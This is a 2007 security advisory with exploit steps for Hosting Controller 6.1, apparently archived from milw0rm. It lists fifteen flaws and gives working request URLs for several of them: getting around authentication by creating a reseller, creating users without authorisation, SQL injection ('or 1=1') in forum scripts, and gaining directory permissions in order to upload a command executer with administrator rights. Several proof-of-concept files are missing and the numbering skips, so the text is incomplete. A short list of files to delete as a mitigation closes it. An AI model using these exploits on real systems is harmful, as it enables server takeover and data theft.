Title: Multiple Security Bugs In Hosting Controller Critical: Extremely critical Impact: Full system administrator access Vendor: Hosting Controller Version: 6.1 Hot fix <= 3.3 Vendor URL: www.hostingcontroller.com Solution: N/A From company - There is temporary solution in this report Exploit: Available Release Date: 2007 - December Credit: www.BugReport.ir #################### - Discussion: #################### 1- [Remote Attacker] can login to hosting controller Panel. He can also change all others' passwords. 2- [User] can copy a file to hosting controller web directory which is executed under administrative privilege, so attacker can execute his commands by administrative privilege. e.g. an attacker can gain remote desktop of server using this bug and uploading an ASP file! 3- [Remote Attacker] can make a new user. 4- [Remote Attacker] can change all user's profiles. 5- [User] can see all the database information by a SQL injection. 6- [User] can change his credit amount or increase his discount. 7- [User] can uninstall other's FrontPage extensions. 8- [User] can delete all of gateway information. 9- [User] can enable or disable pay type. 10- [[User] can see all usernames in the server by "fp2000/NEWSRVR.asp". 11- [User] can find Hosting Controller setup directory. 12- [User] can import unwanted plan or change the plans. 13- [Remote Attacker] can find web site path. 14- [Remote Attacker] can enable or disable all Hosting Controller forums by SQL Injection. 15- [User] can change other's host headers. [Remote attacker] = (Unauthorized user without any permission or access.) [User] = (A user with a simple account.) #################### - Exploits: (or POCs) #################### \\\\\\\\\\\\\\\\\\\\\ ///////////////////// 1- [Remote Attacker] can login to hosting controller Panel. He can also change all others' passwords: 1.1- http://[HC URL]/hosting/addreseller.asp?reseller=[USERNAME] -> for ex. [USERNAME]= resadmin 1.2- Now, to login without changing the password, attacker must run "ChangeDisplay.htm" then redirect to "main.asp" ~~~~~~~~~~~~~~~~1.2.1 ChangeDisplay.htm~~~~~~~~~~~~~~~~~~~~~~~~ URL:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1.3- Attacker, also can change username's password without having current password by "ChangePass.htm" ~~~~~~~~~~~~~~~~1.3.1 ChangePass.htm~~~~~~~~~~~~~~~~~~~~~~~~ URL:
This file set full permission on "DB" directory of "forum"
So you can upload your file there and execute your command with administrator permission.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2.6- If you see ?Error: 70500170 : User already exists in either OS or Database.? Means that all the thing are OK!, and your permission has already set.
2.7- Now you have a full access to "[HCPATH]\Forum\DB".
Note: You can do that with "[HCPATH]\phpBB\phpBB\db" too because there is "db" directory too.
2.8- So you can upload your command executer there, but you need a file uploader at first on "testuser.com" to upload your command executer on "[HCPATH]\Forum\DB".
2.9- If your permission has not been set correctly, its always because of limitation on making a new user. So you must login with username's reseller and make a new plan with making some new user accounts permission then sell it to your username. Also, you can increase your credit amount (part 6) and buy a plan with a lot of web accounts then select it and do these operation from the first. (Note: This vulnerability works properly and there is no exception like the others!)
\\\\\\\\\\\\\\\\\\\\\
/////////////////////
3- [Remote Attacker] can make a new user.
3.1- Goto http://[HC URL]/hosting/default.asp?referral="http://"
3.2- Then http://[HC URL]/hosting/selectdomain.asp?htype=HTYPE
3.3- Then http://[HC URL]/hosting/addsubsite.asp?reseller=resadmin&loginname=Bugreport&password=something&email=Admin@Bugreport.ir&DomainName=Bugreport.com
\\\\\\\\\\\\\\\\\\\\\
/////////////////////
4- [Remote Attacker] can change all user's profiles.
4.1- Use "Change Profiles.htm"
~~~~~~~~~~~~~~~~4.1.1 ChangeProfiles.htm~~~~~~~~~~~~~~~~~~~~~~~~
URL:
Computer Name: <%=oScriptNet.ComputerName%>
User: <%=oScriptNet.UserName%> (You are seeing this page by this user)
Both: \\<%=oScriptNet.ComputerName%>\\<%=oScriptNet.UserName%>
User Length=<%If Len(oScriptNet.UserName)<=20 Then Response.Write(" OK :)") Else Response.Write(" False :( More than 20 chars so you must use from other username like ASPNET")%>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\\\\\\\\\\\\\\\\\\\\\
/////////////////////
12- [User] can import unwanted plan or change the plans.
12.1- To import a plan use "http://[HC URL]/hosting/importhostingplans.asp" directly.
12.2- To change a plan use something like "http://[HC URL]/hosting/AutoSignUpPlans.asp?save=1&30=ON&d_30=1" directly.
\\\\\\\\\\\\\\\\\\\\\
/////////////////////
13- [Remote Attacker] can find web site path.
13.1- When forum is not available, or it is not default, "http://[HC URL]/admin/forum/" shows website path with an error.
\\\\\\\\\\\\\\\\\\\\\
/////////////////////
14- [Remote Attacker] can enable or disable all Hosting Controller forums by SQL Injection.
14.1- This is because of a SQL Injection in "/forum/HCSpecific/DisableForum.asp" and "/forum/HCSpecific/EnableForum.asp"
"http://[HC URL]//forum/HCSpecific/DisableForum.asp?action=disableforum&ForumID=1 or 1=1"
"http://[HC URL]//forum/HCSpecific/DisableForum.asp?action=disableforum&ForumID=1 or 1=1"
\\\\\\\\\\\\\\\\\\\\\
/////////////////////
15- [User] can change other's host headers.
15.1- This is because of "/IIS/iibind.asp" which accept the parameter without any checking. Also, this file has potential for dangerous SQL Injection.
####################
- Solution:
####################
Unfortunately, there is no support from hosting controller about these bugs. Also, they told us that there is no more support for HC 6.1.
Fast Solution:
Delete or rename these files which are in "Hosting Controller\web\admin\":
- "/hosting/addreseller.asp"
- "/Accounts/AccountActions.asp"
- "/hosting/addsubsite.asp"
- "/hosting/xml_addresellerresult.asp"
- "/accounts/accountmanager.asp"
- "/fp2002/UNINSTAL.asp"
- "/OpenApi/GatewayVariables.asp"
- "/fp2000/NEWSRVR.asp"
- "/hosting/importhostingplans.asp"
- "/hosting/AutoSignUpPlans.asp"
- "/forum/HCSpecific/DisableForum.asp"
- "/forum/HCSpecific/EnableForum.asp"
- "/IIS/iibind.asp"
Also, you can contact "admin[4t}bugreport{d0t]ir" to fix all these bugs for you without changing or deleting any file if you want.
####################
- Credit :
####################
AmnPardaz Security Research Team - www.Bugreport.ir
Contact: admin[4t}bugreport{d0t]ir
# milw0rm.com [2007-12-13]